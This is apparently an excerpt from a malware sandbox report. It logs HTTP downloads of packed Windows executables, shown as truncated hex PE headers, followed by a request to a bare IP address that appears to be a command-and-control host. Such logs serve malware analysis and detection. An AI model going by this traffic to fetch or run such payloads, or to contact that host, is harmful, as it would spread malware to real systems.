Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:39 GMTContent-Type: application/octet-streamContent-Length: 2810368Last-Modified: Sat, 26 Oct 2024 05:56:24 GMTConnection: keep-aliveETag: "671c8488-2ae200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6a 71 69 76 6f 62 00 80 2a 00 00 a0 00 00 00 80 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 71 6c 64 6e 65 73 78 00 20 00 00 00 20 2b 00 00 06 00 00 00 ba 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 c0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:51 GMTContent-Type: application/octet-streamContent-Length: 1897984Last-Modified: Sat, 26 Oct 2024 06:48:41 GMTConnection: keep-aliveETag: "671c90c9-1cf600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 17 23 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 19 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 19 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 75 6f 6e 69 72 76 62 00 e0 19 00 00 40 31 00 00 da 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6f 77 6e 6b 75 6d 72 00 10 00 00 00 20 4b 00 00 06 00 00 00 ce 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4b 00 00 22 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:57 GMTContent-Type: application/octet-streamContent-Length: 1872384Last-Modified: Sat, 26 Oct 2024 06:48:34 GMTConnection: keep-aliveETag: "671c90c2-1c9200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 6c 64 73 71 67 7a 00 30 1a 00 00 80 50 00 00 2e 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 67 72 62 79 65 67 69 00 10 00 00 00 b0 6a 00 00 06 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 70 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:59 GMTContent-Type: application/octet-streamContent-Length: 2810368Last-Modified: Sat, 26 Oct 2024 05:56:24 GMTConnection: keep-aliveETag: "671c8488-2ae200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6a 71 69 76 6f 62 00 80 2a 00 00 a0 00 00 00 80 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 71 6c 64 6e 65 73 78 00 20 00 00 00 20 2b 00 00 06 00 00 00 ba 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 c0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:55:06 GMTContent-Type: application/octet-streamContent-Length: 1897984Last-Modified: Sat, 26 Oct 2024 06:48:41 GMTConnection: keep-aliveETag: "671c90c9-1cf600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 17 23 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 19 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 19 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 75 6f 6e 69 72 76 62 00 e0 19 00 00 40 31 00 00 da 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6f 77 6e 6b 75 6d 72 00 10 00 00 00 20 4b 00 00 06 00 00 00 ce 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4b 00 00 22 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:55:12 GMTContent-Type: application/octet-streamContent-Length: 1872384Last-Modified: Sat, 26 Oct 2024 06:48:34 GMTConnection: keep-aliveETag: "671c90c2-1c9200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 6c 64 73 71 67 7a 00 30 1a 00 00 80 50 00 00 2e 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 67 72 62 79 65 67 69 00 10 00 00 00 b0 6a 00 00 06 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 70 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:55:15 GMTContent-Type: application/octet-streamContent-Length: 2810368Last-Modified: Sat, 26 Oct 2024 05:56:24 GMTConnection: keep-aliveETag: "671c8488-2ae200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6a 71 69 76 6f 62 00 80 2a 00 00 a0 00 00 00 80 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 71 6c 64 6e 65 73 78 00 20 00 00 00 20 2b 00 00 06 00 00 00 ba 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 c0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
